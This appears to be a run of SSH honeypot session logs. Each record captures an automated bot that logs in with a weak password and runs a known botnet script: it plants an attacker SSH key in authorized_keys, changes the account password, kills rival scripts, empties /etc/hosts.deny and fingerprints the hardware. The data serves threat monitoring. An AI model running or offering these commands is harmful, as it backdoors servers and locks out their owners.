{"id":"22cc1660-be2b-455a-b982-c6b5b70e2261","name":"arctic-bashful-gull","protocol":"ssh","channel_kind":"exec","src_ip":"103.4.145.50","src_port":52550,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":825,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T14:10:39.045870+00:00","ended_at":"2026-08-27T14:10:39.311875+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2275,"events":[{"seq":1,"at":"2026-08-27T14:10:19.781358+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T14:10:19.789146+00:00","kind":"output","latency_ms":null,"data":"-bash: cd: command not found"},{"seq":3,"at":"2026-08-27T14:10:20.599127+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":4,"at":"2026-08-27T14:10:26.596292+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":5,"at":"2026-08-27T14:10:26.598496+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":6,"at":"2026-08-27T14:10:27.425011+00:00","kind":"input","latency_ms":null,"data":"echo \"root:m7NcEWr2I90c\"|chpasswd|bash"},{"seq":7,"at":"2026-08-27T14:10:27.425328+00:00","kind":"output","latency_ms":null,"data":""},{"seq":8,"at":"2026-08-27T14:10:28.252912+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":9,"at":"2026-08-27T14:10:29.072624+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":10,"at":"2026-08-27T14:10:29.074558+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-27T14:10:29.903814+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-27T14:10:29.904324+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T14:10:30.728530+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T14:10:30.731616+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T14:10:31.557138+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T14:10:31.558402+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T14:10:32.408165+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T14:10:32.409235+00:00","kind":"output","latency_ms":null,"data":" 14:10:32 up 7 days, 11:00, 0 user, load average: 0.3, 0.22, 0.28\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T14:10:33.229013+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T14:10:33.229566+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T14:10:34.056446+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T14:10:34.057814+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T14:10:34.891846+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T14:10:34.892390+00:00","kind":"output","latency_ms":null,"data":"top - 14:10:34 up 7 days, 11:00, 0 user, load average: 0.3, 0.22, 0.28\nTasks: 117 total, 1 running, 116 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8420 free, 7467 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T14:10:35.724740+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T14:10:35.725636+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T14:10:36.550050+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T14:10:36.550496+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T14:10:37.375161+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T14:10:37.375613+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":31,"at":"2026-08-27T14:10:38.220342+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T14:10:38.220892+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T14:10:39.046617+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T14:10:39.047268+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"qazxswedc123","method":"password","accepted":true,"tier":"other"}]} {"id":"36eb2f83-d720-4fbf-88e8-b2b2bb86d121","name":"barren-twilight-francolin","protocol":"ssh","channel_kind":"exec","src_ip":"201.249.166.171","src_port":44744,"username":"ubuntu","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":337,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T14:05:39.875588+00:00","ended_at":"2026-08-27T14:05:41.771555+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2184,"events":[{"seq":1,"at":"2026-08-27T14:05:09.712954+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T14:05:10.515686+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T14:05:15.003033+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T14:05:16.781326+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T14:05:17.114632+00:00","kind":"input","latency_ms":null,"data":"echo -e \"ubuntu2026!\\nA0JHKp5EzFq6\\nA0JHKp5EzFq6\"|passwd|bash"},{"seq":6,"at":"2026-08-27T14:05:17.538241+00:00","kind":"input","latency_ms":null,"data":"echo \"ubuntu2026!\\nA0JHKp5EzFq6\\nA0JHKp5EzFq6\\n\"|passwd"},{"seq":7,"at":"2026-08-27T14:05:17.868351+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T14:05:18.794867+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T14:05:18.977147+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-27T14:05:19.126112+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-27T14:05:19.150282+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-27T14:05:20.773966+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T14:05:20.927543+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T14:05:22.444057+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T14:05:22.989778+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T14:05:24.501308+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T14:05:24.951023+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T14:05:26.097170+00:00","kind":"output","latency_ms":null,"data":" 14:05:26 up 7 days, 10:55, 0 user, load average: 0.1, 0.08, 0.07\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T14:05:26.545798+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T14:05:28.591179+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T14:05:28.931567+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T14:05:29.898884+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T14:05:30.750590+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T14:05:32.161765+00:00","kind":"output","latency_ms":null,"data":"top - 14:05:32 up 7 days, 10:55, 0 user, load average: 0.1, 0.08, 0.07\nTasks: 107 total, 1 running, 106 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6196 free, 9691 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T14:05:32.500399+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T14:05:34.109173+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T14:05:34.439282+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T14:05:36.181291+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T14:05:36.919118+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T14:05:38.086197+00:00","kind":"output","latency_ms":null,"data":"ubuntu"},{"seq":31,"at":"2026-08-27T14:05:38.422431+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T14:05:39.542760+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T14:05:39.877251+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T14:05:41.675929+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"ubuntu","password":"ubuntu2026!","method":"password","accepted":true,"tier":"other"}]} {"id":"0df1f6c7-9098-4009-9dbe-b63024e6c927","name":"crimson-crisp-lapwing","protocol":"ssh","channel_kind":"exec","src_ip":"103.4.145.50","src_port":36516,"username":"mailuser","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":830,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T14:05:31.611089+00:00","ended_at":"2026-08-27T14:05:33.842343+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2193,"events":[{"seq":1,"at":"2026-08-27T14:04:49.651809+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T14:04:50.480557+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T14:04:56.913964+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T14:04:59.024030+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T14:04:59.852506+00:00","kind":"input","latency_ms":null,"data":"echo -e \"password\\nCAAtxeqFZgFg\\nCAAtxeqFZgFg\"|passwd|bash"},{"seq":6,"at":"2026-08-27T14:05:00.679911+00:00","kind":"input","latency_ms":null,"data":"echo \"password\\nCAAtxeqFZgFg\\nCAAtxeqFZgFg\\n\"|passwd"},{"seq":7,"at":"2026-08-27T14:05:01.509697+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T14:05:01.564165+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T14:05:01.598856+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-27T14:05:03.583636+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-27T14:05:04.414055+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-27T14:05:06.125550+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T14:05:06.971392+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T14:05:08.135124+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T14:05:08.969454+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T14:05:11.015344+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T14:05:11.846345+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T14:05:12.886778+00:00","kind":"output","latency_ms":null,"data":" 14:05:12 up 7 days, 10:55, 0 user, load average: 0.03, 0.03, 0.02\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T14:05:13.716385+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T14:05:15.913927+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T14:05:16.744079+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T14:05:17.915079+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T14:05:18.743276+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T14:05:20.772899+00:00","kind":"output","latency_ms":null,"data":"top - 14:05:20 up 7 days, 10:55, 0 user, load average: 0.03, 0.03, 0.02\nTasks: 110 total, 1 running, 109 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9056 free, 6831 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T14:05:20.891201+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T14:05:23.012708+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T14:05:23.847332+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T14:05:25.779819+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T14:05:26.616721+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T14:05:27.921882+00:00","kind":"output","latency_ms":null,"data":"mailuser"},{"seq":31,"at":"2026-08-27T14:05:28.752143+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T14:05:30.782440+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T14:05:31.613082+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T14:05:33.581145+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"mailuser","password":"password","method":"password","accepted":true,"tier":"other"}]} {"id":"523fdf1f-cd18-4578-bb06-808128e94259","name":"dutiful-crystal-lark","protocol":"ssh","channel_kind":"exec","src_ip":"201.249.166.171","src_port":53042,"username":"steam","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":360,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T14:04:09.869400+00:00","ended_at":"2026-08-27T14:04:11.405987+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2160,"events":[{"seq":1,"at":"2026-08-27T14:03:41.508208+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T14:03:41.874704+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T14:03:45.800014+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T14:03:47.452108+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T14:03:47.957900+00:00","kind":"input","latency_ms":null,"data":"echo -e \"pass\\nGVwH2et9hv3T\\nGVwH2et9hv3T\"|passwd|bash"},{"seq":6,"at":"2026-08-27T14:03:48.525757+00:00","kind":"input","latency_ms":null,"data":"echo \"pass\\nGVwH2et9hv3T\\nGVwH2et9hv3T\\n\"|passwd"},{"seq":7,"at":"2026-08-27T14:03:48.887298+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T14:03:49.986091+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T14:03:50.219341+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-27T14:03:50.268768+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T14:03:50.579285+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-27T14:03:51.429353+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T14:03:51.897367+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T14:03:53.627730+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T14:03:54.195558+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T14:03:55.245807+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T14:03:55.607072+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T14:03:56.689588+00:00","kind":"output","latency_ms":null,"data":" 14:03:56 up 7 days, 10:54, 0 user, load average: 0.19, 0.14, 0.15\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T14:03:57.051123+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T14:03:57.974518+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T14:03:58.334771+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T14:04:00.335677+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T14:04:00.794314+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T14:04:02.830299+00:00","kind":"output","latency_ms":null,"data":"top - 14:04:02 up 7 days, 10:54, 0 user, load average: 0.19, 0.14, 0.15\nTasks: 117 total, 1 running, 116 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7149 free, 8738 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T14:04:03.189943+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T14:04:05.160050+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T14:04:05.519143+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T14:04:06.999218+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T14:04:07.369215+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T14:04:08.330239+00:00","kind":"output","latency_ms":null,"data":"steam"},{"seq":31,"at":"2026-08-27T14:04:08.695770+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T14:04:09.543823+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T14:04:09.870193+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T14:04:11.297811+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"steam","password":"pass","method":"password","accepted":true,"tier":"other"}]} {"id":"948ef0ae-b1a8-469a-a716-6947083055e0","name":"hidden-courtly-redstart","protocol":"ssh","channel_kind":"exec","src_ip":"103.4.145.50","src_port":40586,"username":"ubuntu","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":829,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T14:03:41.618952+00:00","ended_at":"2026-08-27T14:03:44.018826+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2170,"events":[{"seq":1,"at":"2026-08-27T14:03:00.901053+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T14:03:01.729288+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T14:03:08.566310+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc 